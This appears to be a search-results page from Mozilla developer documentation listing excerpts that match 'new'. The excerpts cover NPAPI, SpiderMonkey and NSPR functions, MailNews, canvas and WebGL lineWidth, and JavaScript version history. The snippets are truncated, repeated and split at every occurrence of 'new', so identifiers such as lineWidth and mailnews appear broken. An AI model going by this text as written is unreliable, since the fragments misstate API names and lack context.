new data stream produced by the plug-in and consumed by the browser. syntax #include <npapi.h> nperror npn_
newstream(npp instance, npmimetype type, const char* target, npstream** stream); parameters the function has the following parameters: instance pointer to current plug-in instance. type mime type of the stream. target name of the target window or frame, or one of several special target names. for values, see npn_geturl. stream stream to be created by the browser. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. ...
... instance. type mime type of the stream. target name of the target window or frame, or one of several special target names. for values, see npn_geturl. stream stream to be created by the browser. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npn_
newstream creates a
new stream of data produced by the plug-in and consumed by the browser. the mime parameter is the mime type of the plug-in to create. a plug-in can create another instance of itself by specifying its own mime type and a
new target name in a call to npn_
newstream. the stream is returned in the stream parameter. the plug-in can use this object in subsequent calls to npn_write to wri...
...is object in subsequent calls to npn_write to write data into the stream. ...
...l of its data into the stream, npn_destroystream terminates the stream and deallocates the npstream object. ...
NPP_New - Archive of obsolete content
instance contains instance-specific private data for the plug-in and the browser. this data is stored in instance->pdata. mode display mode of plug-in. ...
... instance contains instance-specific private data for the plug-in and the browser. this data is stored in instance->pdata. mode display mode of plug-in. values: np_embed: (1) instance was created by an embed tag and shares the browser window with other content. ...
...nce of this plug-in at the same url. if non-null, the browser passes ownership of the npsaveddata object back to the plug-in. the plug-in is responsible for freeing the memory for the npsaveddata and the buffer it contains. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description npp_
new creates a
new instance of a plug-in. it is called after np_initialize and is passed the mime type, embedded or full-screen display mode, and, for embedded plug-ins, information about html embed arguments. a
new instance pointer (npp instance) is created by the plug-in, which is valid until the instance is destroyed with npp_destroy. if instance data was saved from a previous instance of the plu...
...the browser ignores any non-standard attributes within an embed tag. this gives developers a chance to use private attributes to communicate instance-specific options or other information to the plug-in. place private options at the end of the list of standard attributes in the embed tag. ...
New in JavaScript 1.8.5 - Archive of obsolete content
bug 492840 object.defineproperty() adds the named property described by a given descriptor to an object. object.defineproperties() adds the named properties described by the given descriptors to an object. ...
...bug 492840 object.defineproperty() adds the named property described by a given descriptor to an object. object.defineproperties() adds the named properties described by the given descriptors to an object. ...
... object.isfrozen() determines if an object was frozen. bug 492844 array.isarray() checks if a variable is an array. bug 510537 date.prototype.tojson() returns a json format string for a date object. function.prototype.bind() creates a
new function that, when called, itself calls this function in the context provided (with a given sequence of arguments). bug 429507
new ecmascript5 features get and set operators now allows the identifier to be numeric or a string. bug 520696 function.apply() can accept any array-like object as the arguments list, inste...
...f calling its join() method if one is available or by calling its tostring() method. other standardization work various non-standard syntaxes for defining getters and setters have been removed; ecmascript 5 defined syntax has not been changed. these were all pretty esoteric and rarely used; if this affects you, see this blog post for details.
new objects object description old proxy api offers support for creating object and function proxies that enable meta-programming in javascript. changed functionality in javascript 1.8.5 iso 8601 support in d...
PL_NewHashTable
the table has at least 16 buckets. ...
...the table has at least 16 buckets. ...
...onst plhashallocops *allocops, void *allocpriv ); parameters the function has the following parameters: numbuckets the number of buckets in the hash table. keyhash hash function. keycompare function used to compare keys of entries. valuecompare function used to compare keys of entries. allocops a pointer to a plhashallocops structure that must exist throughout the lifetime of the
new hash table. allocpriv passed as the first argument (pool). returns the
new hash table. description pl_
newhashtable creates a
new hash table. the table has at least 16 buckets. you can pass a value of 0 as numbuckets to create the default number of buckets in the
new table. the arguments keycompare and valuecompare are functions of type plhashcomparator that the hash table library functions...
...the hash table library functions do not make a copy of this structure. when the allocation functions in allocops are invoked, the allocation private data allocpriv is passed as the first argument (pool). ...
PR_NewCondVar
if unsuccessful (for example, if system resources are unavailable), null. ...
... if unsuccessful (for example, if system resources are unavailable), null. ...
... if unsuccessful (for example, if system resources are unavailable), null. ...
... if unsuccessful (for example, if system resources are unavailable), null. ...
JS_NewDateObject
this article covers features introduced in spidermonkey 1.8.5 creates a
new date object instance for the given time and date. syntax jsobject * js_
newdateobject(jscontext *cx, int year, int mon, int mday, int hour, int min, int sec); name type description cx jscontext * the context in which to create the
new date object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. year int the year to set the
new object to. mon int the month to set the
new object to. mday int the day of the month to set the
new object to. hour int the hour to set the
new object to. min int the minute to set the
new object's time to. sec int...
...must be in a request on this jscontext. year int the year to set the
new object to. mon int the month to set the
new object to. mday int the day of the month to set the
new object to. hour int the hour to set the
new object to. min int the minute to set the
new object's time to. sec int the second to set the
new object's time to. description creates and returns a
new jsobject representing a javascript date object, which is pre-configured using the specified values. ...
...onth to set the
new object to. hour int the hour to set the
new object to. min int the minute to set the
new object's time to. sec int the second to set the
new object's time to. description creates and returns a
new jsobject representing a javascript date object, which is pre-configured using the specified values. ...
...w object to. hour int the hour to set the
new object to. min int the minute to set the
new object's time to. sec int the second to set the
new object's time to. description creates and returns a
new jsobject representing a javascript date object, which is pre-configured using the specified values. ...
JS_NewDependentString
create a
new javascript string containing a range of characters from an existing string. syntax jsstring * js_
newdependentstring(jscontext *cx, js::handlestring str, size_t start, size_t length); name type description cx jscontext * the context in which to create the
new string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str js::handlestring the string containing the characters for the
new string. start size_t the start index of the substring. length size_t length of the substring, in characters. description js_
newdependentstring creates a
new string as a substring of an existing javascript string, str. ...
...uild, the caller must be in a request on this jscontext. str js::handlestring the string containing the characters for the
new string. start size_t the start index of the substring. length size_t length of the substring, in characters. description js_
newdependentstring creates a
new string as a substring of an existing javascript string, str. the
new string contains the same characters as if it were created with the javascript method str.substr(start, length). the characters are not copied. instead, the
new string shares str's existing character storage. ...
...ing creates a
new string as a substring of an existing javascript string, str. the
new string contains the same characters as if it were created with the javascript method str.substr(start, length). the characters are not copied. instead, the
new string shares str's existing character storage. (implementation note: because of this sharing, the garbage collector will not collect str as long as the
new substring is reachable.) on success, js_
newdependentstring returns a pointer to the
new string. otherwise it returns null. ...
...script method str.substr(start, length). the characters are not copied. instead, the
new string shares str's existing character storage. (implementation note: because of this sharing, the garbage collector will not collect str as long as the
new substring is reachable.) on success, js_
newdependentstring returns a pointer to the
new string. ...
JS_NewDoubleValue
requires request. ...
...pi 17this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. use js_numbervalue instead. create a floating-point jsval syntax jsbool js_
newdoublevalue(jscontext *cx, jsdouble d, jsval *rval); name type description cx jscontext * the context in which to create the
new number. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. d jsdouble the numeric value to convert. ...
... the result is subject to garbage collection until you protect against it using a local root, an object property, or the js_addroot function. ...
...sdouble the numeric value to convert. this must not be a value that could fit in an integer jsval (see int_fits_in_jsval). rval jsval * out parameter. on success, *rval receives a javascript number with the value d. description js_
newdoublevalue creates a floating-point jsval. warning: the argument d must not be a value that could fit in an integer jsval. if it is, js_
newdoublevalue creates a bad jsval that might behave as desired in some cases but not others. the result is subject to garbage collection until you protect against it using a local root, an object property, or the js_addroot function. this can be avoided by using the address of a rooted variable as rval. on success, js_
newdoublevalue stores a numeric jsval in *rval and returns js_true. otherwise it ...
NS_NewNativeLocalFile
this string should be encoded using ascii or the multibyte character coding corresponding to the native filesystem. this path does not need to reference an existing file. it is an error to pass a relative filesystem path. ...
...this string should be encoded using ascii or the multibyte character coding corresponding to the native filesystem. this path does not need to reference an existing file. it is an error to pass a relative filesystem path. ...
...n error to pass a relative filesystem path. afollowlinks [in] this attribute will determine if the nsilocalfile instance will automatically resolve symbolic links. this parameter has no effect on unix systems. on windows, passing true causes shortcuts to be automatically resolved, and on macos, passing true causes finder aliases to be automatically resolved. aresult [out] a reference to the
newly created nsilocalfile instance. return values the ns_
newnativelocalfile function returns ns_ok if successful. otherwise, it returns an error code. ns_error_file_unrecognized_path indicates that the specified path is invalid. this error is returned if a relative file path is passed to ns_
newnativelocalfile. remarks on unix systems, the prefix "~/" is supported as a shorthand for the user...
...on on windows 2000 or later, you would not be able to handle file names containing characters outside the default code page even though the os has no problem dealing with them. do not use this function (on windows) unless it is guaranteed that the full path involved is always ascii. example code // create a local file that references c:\foo.txt nsresult rv; nscomptr<nsilocalfile> file; rv = ns_
newnativelocalfile(nsembedcstring("c:\\foo.txt"), pr_false, getter_addrefs(file)); if (ns_failed(rv)) return rv; here, nsembedcstring is used to convert the ascii string literal to an object that can be passed as a const nsacstring& parameter. history this function was finalized for mozilla 1.0. see bug 129279 for details. see also nsilocalfile, nsifile ...
MailNews Protocols
imap pop3 nntp smtp mailbox rss these are all implemented in c++, except for rss. rss is implemented in js and doesn't follow the same pattern as the c++ protocols. imap,pop3, and nntp are "incoming" protocols, i.e., we retrieve messages from a server, and represent them as folders to the user. those protocols all have the following, defined in the corresponding protocol subdirectory of mail
news (i.e., mail
news/imap, mail
news/local (for pop3), mail
news/
news): an incoming server class, which implements nsimsgincomingserver and inherits from mail
news/base/util/nsmsgincomingserver, i.e.., nspop3incomingserver, nsimapincomingserver, nsnntpincomingserver. a folder class, which implements nsimsgfolder, and inherits from nsmsgdbfolder. most commands/operations go through the folder object. nsi...
...the service class creates and initializes the url object for the operation, and hands that off to a protocol object to run. the service classes usually have their own interface, but they also implement nsimsgmessageservice. a url object. ...
...calmailfolder (for pop3) a service class, which generally sits between the folder object or the server object, and the protocol object. the service class creates and initializes the url object for the operation, and hands that off to a protocol object to run. the service classes usually have their own interface, but they also implement nsimsgmessageservice. a url object. these implement nsimsgmail
newsurl, inherit from base/util/nsmsgmail
newsurl, and implement their own protocol-specific interface (nsiimapurl, nsinntpurl, nsipop3url). a protocol object that takes a url and handles the network communications with the actual server required to run that url. these implement nsimsgprotocol, inherit from nsmsgprotocol, and implement their own protocol-specific interface (nsiimapprotocol, nsipop3pro...
...l, and implement their own protocol-specific interface (nsiimapurl, nsinntpurl, nsipop3url). a protocol object that takes a url and handles the network communications with the actual server required to run that url. these implement nsimsgprotocol, inherit from nsmsgprotocol, and implement their own protocol-specific interface (nsiimapprotocol, nsipop3protocol, nsinntpprotocol) in addition, in mail
news/db/msgdb/public, we have protocol-specific msg db classes (and in the case of
news, a nsi
newsdatabase interface), so that we can use polymorphism when msg db operations need to be specialized for different kinds of folders. the message search code also has protocol-specific code to handle searching on the server, or local mailbox. the search code also knows what the different search capabilities...
Mailnews and Mail code review requirements
this document describes the process for reviewing patches to the mozilla/mail
news and mozilla/mail directories. thunderbird and seamonkey are the primary users of the code in mozilla/mail
news. thunderbird's front-end code is stored in mozilla/mail. (a fair amount of this code is forked from code in the mail
news/ directory). mail
news and mail review rules patches affecting thunderbird user experience or interfaces note: it is recommended that when working on bugs that affect user experience or interfaces, that ui-review is obtained at an early stage in the patch development process. getting early ui-reviews this reduces the chance that work is rejected due to needing further user experience changes, and hence is aimed at saving time for the developer and reviewers. all patches ...
...ces on thunderbird should have ui-review on those patches in addition to the reviews required below. to obtained a ui-review on an attachment, set ui-review to '?' and enter :bwinton (for blake winton) as the requestee. mike conley (:mconley) can also provide useful feedback, but blake is the current ultimate decider for ui choices in thunderbird. rules for all patches affecting mail
news/ and mail/ wherever possible, significant patches in a certain area should be reviewed by one of the listed sub-module owner/reviewers. peers may grant review in any area covered by mail
news/, provided they feel confident in their knowledge of the code being changed. sub-module peers may only grant review in the listed sub-module. if a reviewer feels that the patch would benefit from addit...
...equirements: the patch is fixing an intermittent orange test failure. the patch is a change exclusively to test logic. the patch has identified a likely problem and fixes it; no commenting out tests/changing what a test tests/adding huge timeouts. (you could still ask a reviewer to approve such things, though.) the patch does not change public test frameworks, specifically, nothing in mail
news/test/resources/ or mail/test/mozmill/shared-modules/. for mozmill tests, the patch has passed on the try server. for xpcshell tests, it has either passed on try or has been run locally on the appropriate platform(s). specifically, if the xpcshell test will do different things on windows than it will do on os x or linux, it must be run on windows and one of os x / linux. the author of the pat...
...ust have been run at least once on the try server. ...
New in JavaScript 1.7 - Archive of obsolete content
the following is a changelog for javascript 1.7. this version was included in firefox 2 (october 2006). javascript 1.7 is a language update introducing several
new features, in particular generators, iterators, array comprehensions, let expressions, and destructuring assignment. using javascript 1.7 in order to use some of the
new features of javascript 1.7, you need to specify that you wish to use javascript 1.7. ...
... the
new features of javascript 1.7, you need to specify that you wish to use javascript 1.7. in html or xul code, use: <script type="application/javascript;version=1.7"></script> when using the javascript shell, you need to set the version you wish to use using the -version 170 switch on the command line or using the version() function: version(170); the features that require the use of the
new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names. the features that do not introduce
new keywords (destructuring assignment and array comprehensions) can be used without specifying the javascript version. ...
...in more recent firefox versions, the implementation is updated to work with semantics as specified in ecmascript edition 6. please see the reference pages for differences. ...
New in JavaScript - Archive of obsolete content
support implementation status for upcoming ecma-262 features as per the yearly (es2016/es2017/es2018/...) release schedule in mozilla-based engines and products. javascript versions deprecated ( ). the explicit versioning and opt-in of language features was mozilla-specific and are in process of being removed. firefox 4 was the last version which referred to a javascript version (1.8.5). with
new ecma standards, javascript language features are now often mentioned with their initial definition in ecma-262 editions such as ecmascript 2015. javascript was released as version 1.0 in march 1996 in netscape navigator 2.0 and internet explorer 2.0. javascript 1.1 version shipped in netscape navigator 3.0. released on august 19, 1996. javascript 1.2 version shipped in netscape navigator 4...
...-262 1st and 2nd edition. javascript 1.4 version shipped with netscape's server-side javascript. released in 1999. javascript 1.5 version shipped in netscape navigator 6.0 and firefox 1.0. release on november 14, 2000. standardization work to be compliant with ecma-262 3rd edition. javascript 1.6 version shipped in firefox 1.5. released in november 2005. includes ecmascript for xml (e4x),
new array methods plus string and array generics. javascript 1.7 version shipped in firefox 2. released in october 2006. includes generators, iterators, array comprehensions, let expressions, and destructuring assignment. javascript 1.8 version shipped in firefox 3. released in june 2008. includes expression closures, generator expressions and array.reduce() javascript 1.8.1 version shipped i...
... this is the last javascript version. ...
PR_NewThreadPrivateIndex
you use this index with pr_setthreadprivate and pr_getthreadprivate. destructor specifies a destructor function prthreadprivatedtor for the private data associated with the index. this function can be specified as null. returns the function returns one of the following values: if successful, pr_success. if the total number of indices exceeds 128, pr_failure. ...
...process. you use this index with pr_setthreadprivate and pr_getthreadprivate. destructor specifies a destructor function prthreadprivatedtor for the private data associated with the index. this function can be specified as null. returns the function returns one of the following values: if successful, pr_success. if the total number of indices exceeds 128, pr_failure. description if pr_
newthreadprivateindex is successful, every thread in the same process is capable of associating private data with the
new index. until the data for an index is actually set, the value of the private data at that index is null. you pass this index to pr_setthreadprivate and pr_getthreadprivate to set and retrieve data associated with the index. when you allocate the index, you may also register a des...
...a thread can get access only to its own thread-specific data. ...
JS::NewFunctionFromSpec
id is the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). ...
... description cx jscontext * the context in which to define functions. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. fs const jsfunctionspec * a pointer to function specification. behavior handleid the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). description js::
newfunctionfromspec creates a
new function based on the given jsfunctionspec, *fs. id is the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). unlike js_definefunctions, this does not treat fs as an array. *fs must not be js_fs_end. on success, js::
newfunctionfromspec returns a pointer to
newly created function. on error, it returns nullptr. see also mxr id searc...
...omspec creates a
new function based on the given jsfunctionspec, *fs. id is the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). unlike js_definefunctions, this does not treat fs as an array. *fs must not be js_fs_end. on success, js::
newfunctionfromspec returns a pointer to
newly created function. on error, it returns nullptr. ...
JSNewResolveOp
obsolete since jsapi 36this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. js
newresolveop is the type of the jsclass.resolve callback when the jsclass_
new_resolve bit is set in the jsclass.flags field. syntax typedef bool (* js
newresolveop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandleobject objp); name type description cx jscontext * pointer to the js context in which the property access is taking place. obj js::handleobject pointer to the object whose properties are being accessed. id js::handleid name or index of the property being accessed. flags uint32_t ...
...ption like jsresolveop, but flags provide contextual information about the property access. on success, the callback must set the *objp out parameter to null if id was not resolved; or non-null, referring to obj or one of its prototypes, if id was resolved; and return js_true. on failure, it must return js_false. this hook instead of jsresolveop is called via the jsclass.resolve member if jsclass_
new_resolve is set in jsclass.flags. setting jsclass_
new_resolve and jsclass_
new_resolve_gets_start further extends this hook by passing in the starting object on the prototype chain via *objp. thus a resolve hook implementation may define the property id being resolved in the object in which the id was first sought, rather than in a prototype object whose class led to the resolve hook being called. ...
...jsclass.flags. setting jsclass_
new_resolve and jsclass_
new_resolve_gets_start further extends this hook by passing in the starting object on the prototype chain via *objp. thus a resolve hook implementation may define the property id being resolved in the object in which the id was first sought, rather than in a prototype object whose class led to the resolve hook being called. when using jsclass_
new_resolve_gets_start, the resolve hook must therefore null *objp to signify "not resolved". with only jsclass_
new_resolve and no jsclass_
new_resolve_gets_start, the hook can assume *objp is null on entry. this is not good practice, but enough existing hook implementations count on it that we can't break compatibility by passing the starting object in *objp without a
new jsclass flag. flags the flag...
JS_ClearNewbornRoots
obsolete since jsapi 5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. clear a context's
newborn roots, which temporarily protect
newly allocated values from garbage collection. syntax void js_clear
newbornroots(jscontext *cx); name type description cx jscontext * the context to clear. ...
...porarily protect
newly allocated values from garbage collection. syntax void js_clear
newbornroots(jscontext *cx); name type description cx jscontext * the context to clear. description the last gc thing of each type (object, string, double, external string types) created on a given context is kept alive until another thing of the same type is created, using a
newborn root in the context. these
newborn roots help native code protect
newly-created gc-things from gc invocations activated before those things can be rooted using local or global roots. however, the
newborn roots can also entrain great gobs of garbage, so the js_gc entry point clears them for the context on which gc is being forced. embeddings may need to do likewise for all contexts. see js_ent...
...s help native code protect
newly-created gc-things from gc invocations activated before those things can be rooted using local or global roots. however, the
newborn roots can also entrain great gobs of garbage, so the js_gc entry point clears them for the context on which gc is being forced. embeddings may need to do likewise for all contexts. see js_enterlocalrootscope for a better way to manage
newborns in cases where native hooks (functions, getters, setters, etc.) create many gc-things, potentially without connecting them to predefined local roots such as *rval or argv[i] in an active jsnative function. using js_enterlocalrootscope disables updating of the context's per-gc-thing-type
newborn roots, until control flow unwinds and leaves the outermost nesting local root scope. see also bug...
JS_NewDateObjectMsec
this article covers features introduced in spidermonkey 1.8.5 creates a
new date object instance, configured to represent the date and time indicated by the specified time in milliseconds since the unix epoch. syntax jsobject * js_
newdateobjectmsec(jscontext *cx, double msec); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. msec double time since unix epoch in milliseconds. description the returned jsobject is a standard javascript date. ...
...ct * js_
newdateobjectmsec(jscontext *cx, double msec); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. msec double time since unix epoch in milliseconds. description the returned jsobject is a standard javascript date. ...
...sec(jscontext *cx, double msec); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. msec double time since unix epoch in milliseconds. description the returned jsobject is a standard javascript date. see also mxr id search for js_
newdateobjectmsec js_
newdateobject js_objectisdate bug 625870 ...
JS_NewPlainObject
this article covers features introduced in spidermonkey 38 creates a
new plain javascript object. syntax jsobject * js_
newplainobject(jscontext *cx); name type description cx jscontext * the context in which to create the
new object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. description js_
newplainobject creates a
new plain object, like
new object(), with object.prototype as [[prototype]]. on success, js_
newplainobject returns a pointer to the
new object. otherwise it returns nullptr. ...
... the context in which to create the
new object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. description js_
newplainobject creates a
new plain object, like
new object(), with object.prototype as [[prototype]]. on success, js_
newplainobject returns a pointer to the
new object. otherwise it returns nullptr. ...
...ch to create the
new object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. description js_
newplainobject creates a
new plain object, like
new object(), with object.prototype as [[prototype]]. on success, js_
newplainobject returns a pointer to the
new object. otherwise it returns nullptr. ...
NS_NewLocalFile
this path does not need to reference an existing file. it is an error to pass a relative filesystem path. afollowlinks [in] this attribute will determine if the nsilocalfile instance will automatically resolve symbolic links. this parameter has no effect on unix systems. ...
...n error to pass a relative filesystem path. afollowlinks [in] this attribute will determine if the nsilocalfile instance will automatically resolve symbolic links. this parameter has no effect on unix systems. on windows, passing true causes shortcuts to be automatically resolved, and on macos, passing true causes finder aliases to be automatically resolved. aresult [out] a reference to the
newly created nsilocalfile instance. return values the ns_
newlocalfile function returns ns_ok if successful. otherwise, it returns an error code. ns_error_file_unrecognized_path indicates that the specified path is invalid. this error is returned if a relative file path is passed to ns_
newlocalfile. remarks on unix systems, the prefix "~/" is supported as a shorthand for the user's home dire...
...returns an error code. ns_error_file_unrecognized_path indicates that the specified path is invalid. this error is returned if a relative file path is passed to ns_
newlocalfile. remarks on unix systems, the prefix "~/" is supported as a shorthand for the user's home directory. example code // create a local file that references c:\foo.txt nsresult rv; nscomptr<nsilocalfile> file; rv = ns_
newlocalfile(nsembedstring(l"c:\\foo.txt"), pr_false, getter_addrefs(file)); if (ns_failed(rv)) return rv; note: gcc requires the -fshort-wchar option to compile this example since prunichar is an unsigned short. this example should compile by default under msvc. nsembedstring is used to convert the ucs-2 character array to an object that can be passed as a const nsastring& pa...
CanvasRenderingContext2D.lineWidth - Web APIs
the canvasrenderingcontext2d.li
newidth property of the canvas 2d api sets the thickness of lines. note: lines can be drawn with the stroke(), strokerect(), and stroketext() methods. syntax ctx.li
newidth = value; options value a number specifying the line width, in coordinate space units. zero, negative, infinity, and nan values are ignored. this value is 1.0 by default. examples changing line width this example draws a line and a rectangle, using a line width of 15 units. ...
...a number specifying the line width, in coordinate space units. zero, negative, infinity, and nan values are ignored. this value is 1.0 by default. examples changing line width this example draws a line and a rectangle, using a line width of 15 units. ...
...'2d'); ctx.li
newidth = 15; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(130, 130); ctx.rect(40, 40, 70, 70); ctx.stroke(); result more examples for more examples and explanation about this property, see applying styles and color in the canvas tutorial. specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.li
newidth' in that specification. living standard ...
IDBVersionChangeEvent.newVersion - Web APIs
example in the following code snippet, we make a request to open a database, and include handlers for the success and error cases. these events are fired via the custom idbversionchangeevent interface. for a full working example, see our to-do notifications app (view example live.) var note = document.queryselector("ul"); // in the following line, you should include the prefixes of // implementations you want to test. ...
.../li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot later on, for opening transactions and suchlike. db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of '
newversion' in that specification. recommendation indexed database api draftthe definition of '
newversion' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
WebGLRenderingContext.lineWidth() - Web APIs
the webglrenderingcontext.li
newidth() method of the webgl api sets the line width of rasterized lines. the webgl spec, based on the opengl es 2.0/3.0 specs points out that the minimum and maximum width for a line is implementation defined. the maximum minimum width is allowed to be 1.0. the minimum maximum width is also allowed to be 1.0. because of these implementation defined limits it is not recommended to use line widths other than 1.0 since there is no guarantee any user's browser will display any other width. as of january 2017 most implementations of webgl only support a minimum of 1 and a maximum of 1 as the technology they are based on has these same limits. syntax void gl.li
newidth(width); parameters width a glfloat specifying the width of rasterized lines. default valu...
...ee any user's browser will display any other width. as of january 2017 most implementations of webgl only support a minimum of 1 and a maximum of 1 as the technology they are based on has these same limits. syntax void gl.li
newidth(width); parameters width a glfloat specifying the width of rasterized lines. default value: 1. return value none. examples setting the line width: gl.li
newidth(5); getting the line width: gl.getparameter(gl.line_width); getting the range of available widths. returns a float32array. ...
...ifying the width of rasterized lines. default value: 1. return value none. examples setting the line width: gl.li
newidth(5); getting the line width: gl.getparameter(gl.line_width); getting the range of available widths. returns a float32array. gl.getparameter(gl.aliased_line_width_range); specifications specification status comment webgl 1.0the definition of 'li
newidth' in that specification. recommendation initial definition. opengl es 2.0the definition of 'glli
newidth' in that specification. standard man page of the opengl api. ...
New in JavaScript 1.8 - Archive of obsolete content
the following is a changelog for javascript 1.8. this version was included in firefox 3 and is part of gecko 1.9. see bug 380236 for a tracking development bug for javascript 1.8. using javascript 1.8 in order to use some of the
new features of javascript 1.8 in html, use: <script type="application/javascript;version=1.8"> ... your code ... </script> another way (not recommended) to do this is to use the deprecated <script> language attribute and define it as "javascript1.8". ...
...pt;version=1.8"> ... your code ... </script> another way (not recommended) to do this is to use the deprecated <script> language attribute and define it as "javascript1.8". when using the javascript shell, javascript xpcom components, or xul <script> elements, the latest js version (js1.8 in mozilla 1.9) is used automatically (bug 381031, bug 385159). the features that require the use of the
new keywords "yield" and "let" require you to specify version 1.7 or higher because existing code might use those keywords as variable or function names. the features that do not introduce
new keywords (such as generator expressions) can be used without specifying the javascript version.
new features in javascript 1.8 expression closures. generator expressions. allowing you to simply create gene...
Using your new knowledge - Learn web development
hat you can format simple text documents using css, to add your own style to them. this assessment gives you a chance to do that. prerequisites: before attempting this assessment you should have worked through the rest of the css basics module, and also have an understanding of html basics (study introduction to html). objective: to have a play with some css and test your
new-found knowledge. starting point you can work in the live editor below, or you can download the starting point to work with in your own editor. this is a single page with the html, plus the starting point css in the head of the document. if you prefer you could move this css to a separate file when you create the example on your local computer. alternatively use an online tool such as code...
... finishing this first module. ...
MailNews
mail
news stands for "mail and
newsgroups". mail
news is the back end of the messaging parts of seamonkey and thunderbird. it provides a number of functions and capabilities, including: communications protocols - smtp, pop3, imap, nntp message management, including search and filtering message composition address book the mail
news code lives in the mail
news/ directory of comm-central. asynctestutils extended framework the asynctestutils extended framework is one mechanism for testing the mail
news component of thunderbird. see mail
news automated testing for a description of the other testing mechanisms. leak and bloat tests this page describes how to perform tests that measure memory leaks and bloat for mail
news and its sub-components. ...
...tory of comm-central. asynctestutils extended framework the asynctestutils extended framework is one mechanism for testing the mail
news component of thunderbird. see mail
news automated testing for a description of the other testing mechanisms. leak and bloat tests this page describes how to perform tests that measure memory leaks and bloat for mail
news and its sub-components. mail
news automated testing automated testing is an increasingly significant and important part of mail
news development. it allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases. see pages tagged mail
news for additional mail
news-specific information. ...
PR_NewUDPSocket
creates a
new udp socket. syntax #include <prio.h> prfiledesc* pr_
newudpsocket(void); returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the
newly opened udp socket. if the creation of a
new udp socket failed, null. description udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/ip protocol suite. udp datagrams may be lost or delivered in duplicates or out of sequence. pr_
newudpsocket creates a
new udp socket. the socket may be bound to a well-known port number with pr_bind. datagrams can be sent with pr_sendto and received with pr_recvfrom. when the socket is no longer needed, it should be closed with a call to pr_close. ...
...iable datagram protocol of the tcp/ip protocol suite. udp datagrams may be lost or delivered in duplicates or out of sequence. pr_
newudpsocket creates a
new udp socket. the socket may be bound to a well-known port number with pr_bind. datagrams can be sent with pr_sendto and received with pr_recvfrom. when the socket is no longer needed, it should be closed with a call to pr_close. see also pr_
newudpsocket is deprecated because it is hardcoded to create an ipv4 udp socket.
new code should use pr_openudpsocket instead, which allows the address family (ipv4 or ipv6) of the
new udp socket to be specified. ...
JS_NewDouble
obsolete since jsapi 17this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. use js_
newnumbervalue instead. allocates a copy of jsdouble on the gc heap. syntax jsdouble * js_
newdouble(jscontext *cx, jsdouble d); name type description cx jscontext * the context in which to create the
new number. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. d jsdouble the number to copy. description js_
newdouble allocates a copy of the number d on the javascript garbage collection heap. this function is not very useful. to convert a jsdouble to a jsval, use js_
newnumbervalue instead. warning: the ar...
...he caller must be in a request on this jscontext. d jsdouble the number to copy. description js_
newdouble allocates a copy of the number d on the javascript garbage collection heap. this function is not very useful. to convert a jsdouble to a jsval, use js_
newnumbervalue instead. warning: the argument d must not be a value that could fit in an integer jsval. if it is, js_
newdouble creates a bad jsdouble that might behave as desired in some cases but not others. the
new jsdouble is subject to garbage collection until you protect it using a local root, an object property, or the js_addroot function. on success, js_
newdouble returns a pointer to the
new number. otherwise it returns null. the application must treat the returned pointer as read-only. modifying a jsdouble...
JS_NewNumberValue
use js_numbervalue instead convert a c floating-point number of type jsdouble to a jsval. syntax jsbool js_
newnumbervalue(jscontext *cx, jsdouble d, jsval *rval); name type description cx jscontext * the context in which to create the
new number. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. d jsdouble the numeric value to convert. rval jsval * out parameter. on success, *rval receives a javascript number with the value d. description js_
newnumbervalue converts a c floating-point number of type jsdouble to jsval, the type of javascript values. the result is an integer jsval if d can be stored that way. otherwise, a
new floating-point jsval is created. some space f...
...the numeric value to convert. rval jsval * out parameter. on success, *rval receives a javascript number with the value d. description js_
newnumbervalue converts a c floating-point number of type jsdouble to jsval, the type of javascript values. the result is an integer jsval if d can be stored that way. otherwise, a
new floating-point jsval is created. some space for the
new value may be allocated from the js garbage collection heap. in this case, the value is subject to garbage collection until you protect against it using a local root, an object property, or the js_addroot function. this can be avoided by using the address of a rooted variable as rval. on success, js_
newnumbervalue stores a numeric jsval in *rval and returns js_true. otherwise it returns js_false ...
New Security Model for Web Services - Archive of obsolete content
f a firewall, so this is not a problem. where a server spans multiple owners, the alternative would be to scan all directories in the path looking for a web scripts access file, which seems undesirable. on the other hand, perhaps it is not so bad, since it permits independent management in domains where the top level owner may not care about providing access to web services. adjustments as this
